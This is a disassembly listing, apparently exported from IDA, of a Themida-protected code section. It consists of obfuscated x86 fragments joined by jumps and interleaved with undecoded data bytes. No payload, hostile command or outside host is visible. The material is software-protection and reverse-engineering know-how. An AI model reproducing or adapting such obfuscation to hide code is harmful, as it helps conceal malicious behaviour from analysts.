; ---------------------------------------------------------------------------
aWIyrphbAvxQZus	db 'W¿',0Dh,7,'ëYRPh',0Ah
		db '€vX%ï(ZUé›X',0
		dw 5900h
		dd 0B6EC781h, 0EF0105B7h, 0B6EEF81h, 2C8B05B7h,	0E6895624h
		dd 4C681h, 0B6E90000h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5459DF:				; CODE XREF: Themida_:005495E5j
		xor	ebp, 2C6F27A9h
		push	edi
		jmp	loc_54A45D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3CE92404h, 5700000Bh, 21266BFh, 55DFF736h, 0D5DBE956h
		dd 0CDFE0000h, 0FE05E5C0h, 0B05066CDh, 66C53089h, 59EA3058h
		dd 88D4F280h, 24148BD4h, 4C481h, 0B2520000h, 5B3CE9FCh
		dd 248B0000h, 24040024h, 0D124E99Ch, 0C481FFFFh, 4, 635BC381h
		dd 73E9481Fh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545A47:				; CODE XREF: Themida_:0055495Cj
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_54F8EB
; ---------------------------------------------------------------------------


loc_545A55:				; CODE XREF: Themida_:0054B3C5j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_550D7E
; ---------------------------------------------------------------------------


loc_545A5E:				; CODE XREF: Themida_:005485DDj
		mov	cx, [esp]
		jmp	loc_54B3F6
; ---------------------------------------------------------------------------
		db 51h
		dd 4C21B468h, 0D1F75978h, 0FB11E949h, 91E9FFFFh, 52FFFFCCh
		dd 6C24E957h, 0E8880000h, 0DA83E9h, 81DBF700h, 273988E3h
		dd 0ABF3813Dh, 3145A108h, 0C5895BD8h, 7C51E9h
		db 0
; ---------------------------------------------------------------------------


loc_545AA1:				; CODE XREF: Themida_:00555FEEj
		add	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54B458
; ---------------------------------------------------------------------------


loc_545AB5:				; CODE XREF: Themida_:00549FE7j
		add	esp, 4
		jmp	loc_54F848
; ---------------------------------------------------------------------------


loc_545ABD:				; CODE XREF: Themida_:00549A96j
		push	6B49h
		jmp	loc_54BBCF
; ---------------------------------------------------------------------------


loc_545AC7:				; CODE XREF: Themida_:005442D7j
		sub	esp, 4
		jmp	loc_543156
; ---------------------------------------------------------------------------
		dw 2859h
		dd 5BCE04D8h, 4EC8151h,	89000000h, 0C3B42404h, 0E9E58851h
		dd 2CAFh
; ---------------------------------------------------------------------------


loc_545AEC:				; CODE XREF: Themida_:00542F60j
		neg	eax
		shr	eax, 2
		or	eax, 6EAE42E4h
		push	ebp
		mov	ebp, 66B4246Ch
		add	ebp, 0C275E6E8h
		xor	eax, ebp
		jmp	loc_54D4C0
; ---------------------------------------------------------------------------


loc_545B09:				; CODE XREF: Themida_:005473FDj
		sub	bh, cl
		add	bh, 0DDh
		pop	cx
		sub	bh, 42h
		mov	al, bh
		pop	ebx
		mov	cl, 2Fh
		jmp	loc_54C4C3
; ---------------------------------------------------------------------------
		db 0BEh, 0BCh, 57h
		dd 0F7563EA5h, 815E2414h, 0D4EE2EEh, 8BF52914h,	0C4832434h
		dd 4F685304h, 5B725E00h, 2D5BD829h, 338B614Bh, 4B05E829h
		dd 52338B61h, 7F0461BAh, 51EAD17Eh, 0B9h, 87D12900h, 14BCE9CAh
		db 1, 0
; ---------------------------------------------------------------------------


loc_545B62:				; CODE XREF: Themida_:005550E2j
		add	edi, 4
		sub	edi, 4
		jmp	loc_54B360
; ---------------------------------------------------------------------------
		db 83h
		dd 97E904C7h, 810000BAh, 4C4h, 52336800h, 2C890000h, 4BD24h
		dd 68520000h, 2EFF4B64h, 1CAFE95Ah, 0EC810001h,	4, 89243489h
		dd 0BB5356C6h, 190A49BCh, 77CEB951h, 4C017C7Fh,	1590824h
		dd 8104245Ch, 4ECh, 5BEE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_545BC6:				; CODE XREF: Themida_:00556FC5j
		pop	eax
		sub	eax, esi
		jmp	loc_543E59
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 174B199Eh, 0E9D78957h, 2972h
; ---------------------------------------------------------------------------


loc_545BDC:				; CODE XREF: Themida_:00548BBFj
		and	ebp, ecx
		pop	ecx
		jmp	loc_54E606
; ---------------------------------------------------------------------------
		dd 152568h, 241C8900h, 0A7D8E951h, 0FA010000h, 81243C8Bh
		dd 4C4h, 36BBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545C02:				; CODE XREF: Themida_:00549908j
		add	esp, 4
		push	17FEh
		mov	[esp], ebx
		jmp	loc_5525B2
; ---------------------------------------------------------------------------
		db 31h,	0F3h, 31h
		dd 5EF331DEh, 0FFCFBEE9h, 5DE989FFh, 505AC681h,	8CE9016Eh
		dd 0F7FFFFF0h, 7E5C1DDh, 0ADC2F581h, 0C6B8B692h, 31006D2Dh
		dd 0BEE95DE8h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545C47:				; CODE XREF: Themida_:0054EF3Dj
		add	[esp], eax
		add	dword ptr [esp], 1EBD0DFAh
		add	dword ptr [esp], 0AE37929h
		sub	dword ptr [esp], 50C9252Ah
		jmp	loc_5432B3
; ---------------------------------------------------------------------------


loc_545C64:				; CODE XREF: Themida_:0054E4F9j
		mov	eax, 19BC5A25h
		sub	eax, 6BD9149Bh
		xor	eax, 53877674h
		xor	eax, 8E88578Fh
		sub	edi, eax
		pop	eax
		sub	edi, 0AEB1C423h
		sub	edx, 14EF4C9Ah
		add	edx, edi
		add	edx, 14EF4C9Ah
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_553535
; ---------------------------------------------------------------------------


loc_545C9B:				; CODE XREF: Themida_:0054CCE2j
		pop	ebx
		jmp	loc_54345A
; ---------------------------------------------------------------------------
aUph		db 'UPh#',0
		dw 156Ch
		dd 5AC70D58h, 4AE91137h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_545CB3:				; CODE XREF: Themida_:00554394j
		and	ebp, 39ED7139h
		push	1FBEh
		jmp	loc_555FF3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 5D6A4AD9h, 0BB5BD889h, 0F64AFEB4h, 0AE9C301h
		db 9, 1, 0
; ---------------------------------------------------------------------------


loc_545CD7:				; CODE XREF: Themida_:00544F7Bj
		push	dword ptr [esp]
		jmp	loc_551D1F
; ---------------------------------------------------------------------------
		db 87h
		dd 0FFC683DEh, 0BA0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_545CE9:				; CODE XREF: Themida_:0055324Fj
		mov	edx, 57EB02F5h
		jmp	loc_5523C4
; ---------------------------------------------------------------------------


loc_545CF3:				; CODE XREF: Themida_:0054BC52j
		push	esi
		push	1080h
		mov	[esp], eax
		push	2266103Eh
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		not	eax
		jmp	loc_542718
; ---------------------------------------------------------------------------
		db 29h
		dd 1A75E9FEh, 50660001h, 0E10091B4h, 0CE885866h, 6CB4E959h
		dd 248B0000h, 24042924h, 0C9D6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545D36:				; CODE XREF: Themida_:0054F8E6j
		add	esp, 4
		pop	ebp
		and	ecx, eax
		mov	eax, [esp]
		push	edx
		jmp	loc_5522F7
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 1Ah
		dd 810E0147h, 0FFBBF4C3h, 5BD801FDh, 0FFDCEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545D59:				; CODE XREF: Themida_:00546492j
		xchg	esi, [esp]
		pop	esp
		push	eax
		jmp	loc_54CBF0
; ---------------------------------------------------------------------------


loc_545D63:				; CODE XREF: Themida_:005535CDj
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54E068
; ---------------------------------------------------------------------------


loc_545D70:				; CODE XREF: Themida_:005470EDj
		and	eax, ecx
		mov	ecx, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5530BD
; ---------------------------------------------------------------------------
		dd 5F132D58h, 34FF0244h, 30DE924h, 0C2810000h, 4, 4EC8356h
		dd 0BB241C89h, 58615A24h, 45E68h, 242C8900h, 0EE89DD89h
		dd 0C6815B5Dh, 0A79EA5E0h, 18C6EA81h, 0F2011294h, 18C6C281h
		dd 875E1294h, 3BE92414h, 8F000089h, 248B2404h, 2E0E6824h
		dd 3C890000h, 515F5424h, 482C9BB9h, 9FF18107h, 8107482Ch
		dd 313C8BEFh, 81CF0145h, 313C8BC7h, 4ADBE945h, 1C890000h
		dd 7E95424h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545E03:				; CODE XREF: Themida_:00543B6Fj
		push	ecx
		mov	ecx, 1B7595Ch
		add	ecx, 0FE48A6A3h
		jmp	loc_5574B8
; ---------------------------------------------------------------------------
		dd 0FB1CE95Ch, 489FFFFh, 5E08924h, 4, 405h, 3655E900h
		dd 0C7810000h, 444D54CCh, 0AA77E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545E3A:				; CODE XREF: Themida_:0054F7EAj
		mov	esi, [esp]
		jmp	loc_549166
; ---------------------------------------------------------------------------
		dw 487h
aST		db '$é',8,'t',0
		align 2
		dw 34FFh
		dd 240C8B24h, 10C64E9h,	1FF78100h, 2D273722h, 48EE5B73h
		dd 3B1D0805h, 2DF82931h, 313B1D08h, 0EE5B7305h,	0BF575F48h
		dd 1D32970h, 4EC81h, 1C890000h,	9EF0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545E86:				; CODE XREF: Themida_:005553B1j
		pop	esp
		jmp	loc_55541B
; ---------------------------------------------------------------------------
		dd 781227BBh, 0A1F38161h, 534F2943h, 5B2414F7h,	616EBD55h
		dd 0ED810699h, 1A7D77FEh, 0ED53E9h, 74FF5300h, 1C8B0424h
		dd 4C48324h, 8B24048Fh,	0E9F72424h, 591068h, 24148900h
		dd 0E8E99C50h, 21000047h, 0E3C15DEBh, 71EB8104h, 31FF608Dh
		dd 0F504E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545EE2:				; CODE XREF: Themida_:00555566j
		sub	ecx, edx
		jmp	loc_547231
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4A60BDBBh, 2EBC16Dh,	1D1CF381h, 0D3F70A39h, 734FBF57h
		dd 47477B97h, 0F67F781h, 0FB01035Dh, 0FED1E9h, 0B8505600h
		dd 71472B14h, 0F708E0C1h, 0C1D0F7D0h, 0BA0502E0h, 89F543C3h
		dd 69E958C6h, 530000B7h, 0FD60D4BBh, 0E9EBD132h, 0FFFFFFD5h
		dd 24048F54h, 8904EC83h, 0BF57242Ch, 4,	815FFD89h, 88042444h
		dd 11EA368h, 5704246Ch,	0A36888BFh, 247C291Eh, 34FF5F08h
		dd 9DD5E924h, 0F2290000h, 0CCC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_545F75:				; CODE XREF: Themida_:00557081j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2D78h
		jmp	loc_55506C
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C483243Ch, 37886804h, 0AEE90000h, 89000020h, 94BB241Ch
		dd 293C0E5Eh, 48B5BD9h,	42886824h, 0C890000h, 9973E924h
		dd 8B660000h, 65E92404h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_545FCF:				; CODE XREF: Themida_:00546046j
		sub	di, ax
		jmp	loc_5560CA
; ---------------------------------------------------------------------------
		db 86h
		dd 0E9D134D8h, 1906h
; ---------------------------------------------------------------------------


loc_545FE0:				; CODE XREF: Themida_:00547FE6j
		push	ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	ebp
		push	eax
		mov	eax, 2E9E6722h
		neg	eax
		shr	eax, 2
		sub	eax, 638074A8h
		neg	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5886731h
		and	ebx, 71E24CA3h
		jmp	loc_5441D9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 3E44E9h
		db 0
; ---------------------------------------------------------------------------


loc_54603D:				; CODE XREF: Themida_:00550499j
		neg	di
		push	ax
		mov	ax, 55CDh
		jmp	loc_545FCF
; ---------------------------------------------------------------------------


loc_54604B:				; CODE XREF: Themida_:00550DBCj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		jmp	loc_54E79C
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C1h
		dd 17696802h, 0C890000h, 2474FF24h, 2434FF04h, 81240C8Bh
		dd 4C4h, 0EC835700h, 24248904h,	0DBE95653h, 54000087h
		dd 10B8505Eh, 0F71C5E45h, 0BAEC2DD8h, 55E9E3A1h, 5E0000E5h
		dd 104C483h, 6312E9C3h,	0E95B0000h, 6908h, 8BA6E95Ch, 0CC680000h
		dd 8900001Dh, 82B82404h, 0F709737Fh, 0FC9EE9D0h, 0E8890000h
		dd 8BC2015Dh, 0C4832404h, 14875F04h, 24248B24h,	81E78957h
		dd 4C7h, 95E95000h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5460E7:				; CODE XREF: Themida_:00551EF0j
		sub	esi, ebp
		pop	ebp
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		dec	ebp
		push	2DE9h
		mov	[esp], eax
		jmp	loc_550628
; ---------------------------------------------------------------------------
		db 1
		dd 0FF555FFDh, 5D042474h, 5C24048Fh, 81E38953h,	4C3h, 4EB8300h
		dd 5C241C87h, 89240C89h, 4C181E1h, 50000000h, 4055854h
		dd 2D000000h, 4, 5C240487h, 53F0E9h, 0C2815A00h, 4, 463468h
		dd 24348900h, 4BEh, 5EF22900h, 31241433h, 14332414h, 24248B24h
		dd 53240489h, 8852D388h, 0FFD488DAh, 0E95A2434h, 0FFFFD5F9h
		dd 4BD55h, 0E8010000h, 9675E9h,	0C582E900h, 0BBBDFFFFh
		dd 45348559h, 891AE9h
		db 0
; ---------------------------------------------------------------------------


loc_546195:				; CODE XREF: Themida_:0054F164j
		add	ebp, 0BC74E0Eh
		jmp	loc_5559FA
; ---------------------------------------------------------------------------


loc_5461A0:				; CODE XREF: Themida_:00555807j
		push	0
		pop	edx
		sub	edx, 11C93D16h
		add	edx, ecx
		add	edx, 11C93D16h
		add	[edx], ebx
		jmp	loc_549E31
; ---------------------------------------------------------------------------
		db 81h
		dd 0FE8A55F2h, 0E9D1316Dh, 73D3h
; ---------------------------------------------------------------------------


loc_5461C8:				; CODE XREF: Themida_:005508A6j
		pop	ebp
		jmp	loc_550B90
; ---------------------------------------------------------------------------


loc_5461CE:				; CODE XREF: Themida_:0054B27Dj
		add	ch, 0FFh
		push	eax
		push	ecx
		mov	ch, 95h
		mov	ah, 4Ah
		xor	ah, ch
		pop	ecx
		add	ch, 31h
		add	ch, ah
		sub	ch, 31h
		push	dword ptr [esp]
		jmp	loc_557124
; ---------------------------------------------------------------------------
		dw 505Fh
		dd 7A5563B8h, 0F7D0F713h, 0D1D0F7D0h, 6A9B05E0h, 0B054E92h
		dd 29550047h, 0CB03E9C2h, 52660000h, 81E78957h,	4C7h, 4EF8100h
		dd 87000000h, 248B243Ch, 1510E924h, 0E1E90001h,	81FFFFC4h
		dd 1B242AC1h, 9FC18154h, 5F58F268h, 13D268h, 24148900h
		dd 0E0328B68h, 24148B44h, 4C481h, 0EA810000h, 44E03287h
		dd 0E95AD101h, 0FFFFD7CDh, 0E95BD831h, 0C4B6h, 0E5268h
		dd 24248900h, 9BBE5652h, 0BA423E15h, 0C5B8ED2Ch, 0B37BE9h
		dd 6976B900h, 0C80142F8h, 81240C8Bh, 4C4h, 0B685E00h, 8900006Eh
		dd 0E955243Ch, 9621h
; ---------------------------------------------------------------------------


loc_54629C:				; CODE XREF: Themida_:0054C443j
		add	esp, 4
		push	esi
		jmp	loc_5480BA
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 2474FF56h, 2434FF04h, 0E389535Eh, 4C381h, 0BD550000h
		dd 4, 335DEB01h, 1C31241Ch, 241C3324h, 24048F5Ch, 4E7C05Ch
		dd 704268h, 240C8900h, 0EF30CDB5h, 1ED5E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5462E6:				; CODE XREF: Themida_:00546F7Aj
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_553E3A
; ---------------------------------------------------------------------------
		dd 4C281h, 2FE90000h, 0B1000050h, 0E59EE906h, 23B1FFFFh
		dd 8B66C828h, 0C483240Ch, 4EC8102h, 89000000h, 0EC81241Ch
		dd 4, 0B4240489h, 0E96BB7A4h, 6B4Dh, 246C015Bh,	9FD8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546332:				; CODE XREF: Themida_:005537BAj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, ebx
		dec	eax
		or	eax, 7BF27D8h
		push	ecx
		mov	ecx, 47B86A0Eh
		sub	ecx, 24D5FC8Ah
		xor	ecx, 1F595AA1h
		shr	ecx, 8
		not	ecx
		inc	ecx
		xor	ecx, 0E7BC5C44h
		add	eax, ecx
		jmp	loc_54C9AC
; ---------------------------------------------------------------------------
		db 1
		dd 4E4C05C8h, 0E9595278h, 5D2Bh
; ---------------------------------------------------------------------------


loc_546378:				; CODE XREF: Themida_:00556B9Bj
		mov	esi, 70207Dh
		sub	ecx, esi
		pop	esi
		push	7BADh
		mov	[esp], ebp
		jmp	loc_54C319
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0F6h
		dd 81489C01h, 72DBEDC7h, 0E9FB2947h, 10091h, 0C83073B0h
		dd 0F909E9h, 37BEBE00h,	5E920A8h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5463B3:				; CODE XREF: Themida_:00542C96j
		shl	ecx, 1
		add	ecx, 0FFFFFFFFh
		neg	ecx
		shl	ecx, 8
		or	ecx, 5CC854F6h
		jmp	loc_548BB9
; ---------------------------------------------------------------------------
		dd 68665859h, 89666E5Bh, 0EC832414h, 241C8904h,	3AF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5463DD:				; CODE XREF: Themida_:00546EEFj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_54F014
; ---------------------------------------------------------------------------
		dw 159h
		dd 5A042454h, 0FFC313E9h, 50464EFFh, 0FFFFFFB8h, 0E9C601FFh
		dd 7B26h, 5966E828h, 8B661704h,	0C4832414h, 0DC5BE902h
		dd 8B54FFFFh, 0D4E9242Ch
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_546423:				; CODE XREF: Themida_:0054EB13j
		pop	esi
		jmp	loc_545409
; ---------------------------------------------------------------------------
		db 0D2h, 0Ch, 24h
		dd 0C2DAE99Ch, 0FF5CFFFFh, 8FE92434h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54643B:				; CODE XREF: Themida_:00545698j
		shr	edx, 7
		jmp	loc_543945
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEBh, 4EC81FFh, 0E9000000h, 28D2h, 5C24048Fh
		dd 24148966h, 0E99C5066h, 0FFFFC2A8h, 0C003EDC0h, 0E5C003E5h
		dd 19F58008h, 0ADA5E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546476:				; CODE XREF: Themida_:0054318Bj
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5532AB
; ---------------------------------------------------------------------------


loc_54648A:				; CODE XREF: Themida_:00544402j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_545D59
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFFFBF57h, 0EE81FFFFh, 59AF16DFh, 0F11EE9h,	0A2B85000h
		dd 935EA53h, 24048BC7h,	8104C483h, 0FB7FADF7h, 27EA81FDh
		dd 15A0B2Eh, 27C281FAh,	5F5A0B2Eh, 0B1B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5464D1:				; CODE XREF: Themida_:005453B7j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5535E3
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 0FFC48072h, 0D5F6EC86h, 28C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5464F5:				; CODE XREF: Themida_:00548004j
		sub	esi, ebp
		add	esi, 2909741Ch
		pop	ebp
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esi, 6C761397h
		add	esi, edx
		jmp	loc_5509BA
; ---------------------------------------------------------------------------
a_iS		db '_‰Ú[)Ðé!³',0
		dw 8300h
		dd 0C78304C4h, 243C8702h, 48B665Ch, 0E6895624h,	4C681h
		dd 0EE810000h, 4, 5C243487h, 0E9243489h, 0FFFFFD0Ch, 0EB81F301h
		dd 47B55B3Fh, 7464EB81h, 0E95E00E7h, 8175h, 1CA8C381h
		dd 0DE89BEC7h, 5EF3015Bh, 0FFCB3EE9h, 93B050FFh, 0A0E9C0FEh
		dd 0E9FFFFD6h, 0FFFFC180h, 39F5E958h, 89570000h, 5FFA89C7h
		dd 582434FFh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 732A68h
		dd 240C8900h, 3A33E9h, 242C8900h, 4BDh,	4B85000h, 1003078h
		dd 92E958C3h, 8B0000B9h, 0C483241Ch, 0DFF38104h, 0E95EE900h
		dd 0FFFFEF71h
; ---------------------------------------------------------------------------


loc_5465E0:				; CODE XREF: Themida_:0055437Cj
		add	esp, 4
		push	edx
		mov	dl, bh
		mov	[ecx], dl
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54AA55
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0F608h, 0AAE9DEF7h, 8900005Bh, 1268241Ch, 8900004Dh
		dd 0E9512424h, 0FFFFD030h
; ---------------------------------------------------------------------------


loc_546610:				; CODE XREF: Themida_:0054A0B5j
		add	dh, cl
		jmp	loc_542B30
; ---------------------------------------------------------------------------


loc_546617:				; CODE XREF: Themida_:00552CB4j
		shr	edx, 1
		jmp	loc_549649
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240418h, 0FFC0DFE9h, 4C483FFh, 0FFFE1FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546635:				; CODE XREF: Themida_:005483B7j
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		push	4
		pop	edx
		add	eax, edx
		pop	edx
		jmp	loc_54ADD4
; ---------------------------------------------------------------------------
		db 2Ch
		dd 49F8E940h, 9CBE0000h, 0F77AB84Bh, 84CE81D6h,	0E96FFD59h
		dd 0FFFFCC5Ah, 815AD631h, 0CF35F7E6h, 0E7C6816Eh, 8107D635h
		dd 83C87F6h, 9CB3E93Bh,	0C4830000h, 0D40BE904h,	2680000h
		dd 0E9000048h, 72ADh, 0C104EEC1h, 0F68106E6h, 58AC7951h
		dd 0E95EF129h, 3AABh, 815AD601h, 4EEh, 0F8E95100h, 8700005Ch
		dd 895C243Ch, 0E9552404h, 0C222h, 2A1DC381h, 0C38148D6h
		dd 0D63E233Bh, 4A95E9h,	0C4815B00h, 4, 0FF2434FFh, 34FF2434h
		dd 0C4815824h, 4, 4C481h, 89510000h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0FFCCADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546705:				; CODE XREF: Themida_:00555187j
		pop	edx
		jmp	loc_55367C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B24048Fh, 1662424h,	0E99C2404h, 0FFFFBFF0h,	42474FFh
		dd 24048F5Bh, 243C895Ch, 4084BA52h, 4DBF25FDh, 143B5F5h
		dd 0DB2CE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54673A:				; CODE XREF: Themida_:0054DC03j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_552D51
; ---------------------------------------------------------------------------
		db 81h
		dd 8002BCEDh, 54E2E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546752:				; CODE XREF: Themida_:00543784j
		add	dword ptr [ebx], 1
		pop	ebx
		pop	ecx
		pop	ebx


loc_54675B:				; CODE XREF: Themida_:005467C5j
		push	esi
		push	1219h
		mov	[esp], eax
		jmp	loc_54E940
; ---------------------------------------------------------------------------


loc_546769:				; CODE XREF: Themida_:00552F2Dj
		mov	edi, [esp]
		jmp	loc_54A8B1
; ---------------------------------------------------------------------------
		db 58h,	52h, 0FFh
		dd 5A042474h, 8B24048Fh, 14892424h, 0E98EB224h,	0A3A3h
		dd 4C7815Fh, 0E9000000h, 4551h,	83240C8Bh, 6A2D04C4h, 573D195Ah
		dd 333224BFh, 0CC9EE915h, 0BD55FFFFh, 69ED63E5h, 75CD8145h
		dd 51745866h, 4EC81h, 9BE90000h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5467C3:				; CODE XREF: Themida_:0054984Ej
		or	eax, eax
		jz	loc_54675B
		push	dword ptr [edi+1Ch]
		jmp	loc_54C3A3
; ---------------------------------------------------------------------------
		db 58h
		dd 4EC81h, 2C890000h, 56E58924h, 4BEh, 0E9F50100h, 0C491h
		dd 4A02EAC1h, 5A39EA81h, 0EAD17F1Ch, 46A7EA81h,	79E9F5B3h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546803:				; CODE XREF: Themida_:0054E638j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_550399
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4BB5300h, 1000000h,	0C875BD9h, 5E6AE924h
		dd 0C4810000h, 4, 5152D828h, 0D5F669B5h, 8003EDC0h, 84E974E5h
		dd 8300009Dh, 15E904C6h, 0FE00010Fh, 4C8FEC8h, 0EB58E974h
		dd 34FF0000h, 5720E924h, 34890000h, 81E68924h, 4C6h, 4BF5700h
		dd 0E9000000h, 0AD88h, 4C481h, 0CCE90000h, 0F7FFFFEAh
		dd 67C281DAh, 8123F73Eh, 8A4F33CAh, 0F7DA8772h,	81DA87D3h
		dd 71768BC2h, 5AD52959h, 83E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5468A9:				; CODE XREF: Themida_:005560A0j
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [edi+24h]


loc_5468B0:				; CODE XREF: Themida_:0054A192j
		push	edi
		push	6BEBh
		jmp	loc_543D55
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 8924248Bh, 14B82404h
		dd 0E9471E16h, 0FFCFh, 295DEB89h, 34875BDEh, 24248B24h
		dd 1F82E9h
		db 0
; ---------------------------------------------------------------------------


loc_5468ED:				; CODE XREF: Themida_:0055718Fj
		add	esp, 4
		xor	edx, 40166C03h
		pop	ebp
		push	esi
		jmp	loc_54967B
; ---------------------------------------------------------------------------
		dd 158C789h, 0E9525FFAh, 0A097h, 81240C8Bh, 4C4h, 0E569E900h
		dd 0C5810000h, 4, 4C581h, 2C870000h, 0ACE95C24h, 89000105h
		dd 7E956E5h, 89000067h,	9DB82404h, 0BD3FD971h, 0ACFFBE63h
		dd 4641E9h, 0BDBEE900h,	5152FFFFh, 0EDC090B5h, 0FED5F605h
		dd 0ADB652CDh, 8069EE80h, 0E68084EEh, 0EFD6E9E4h, 0D6010000h
		dd 0C630E95Ah, 0BB530000h, 13F6622Bh, 0B8E9DA29h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54697F:				; CODE XREF: Themida_:0054E8FDj
		not	ebp
		xchg	ebp, esi
		not	esi
		push	ebx
		mov	ebx, 0EA97D1D0h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54D38C
; ---------------------------------------------------------------------------
		dd 0FE9EB652h, 5F89E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5469A2:				; CODE XREF: Themida_:00552BB5j
		push	ecx
		push	ebp
		push	44F66A57h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 0CEB2366Dh
		mov	ecx, ebp
		pop	ebp
		push	56EDh
		mov	[esp], edx
		mov	edx, 231E7D15h
		neg	edx
		push	ebp
		mov	ebp, 53D7FE9h
		and	edx, ebp
		jmp	loc_55555C
; ---------------------------------------------------------------------------
aWs		db 'Wé~·',0
		db 0
; ---------------------------------------------------------------------------


loc_5469DD:				; CODE XREF: Themida_:0054B448j
		push	eax
		push	ebx
		push	edx
		mov	edx, 20CD73A9h
		neg	edx
		shr	edx, 1
		or	edx, 0FCC4BC1h
		dec	edx
		jmp	loc_5524A2
; ---------------------------------------------------------------------------
		db 52h,	66h, 0BAh
		dd 4266064Fh, 1CC28166h, 0EAC16675h, 0F2816604h, 81665A01h
		dd 660DAECAh, 7AD1EA81h, 5AD02966h, 0C2896652h,	5AD78966h
		dd 0CEA5E9h, 4EC8100h, 89000000h, 87E9241Ch, 50FFFFECh
		dd 405E089h, 0E9000000h, 12F5h,	43B85056h, 0BE551A50h
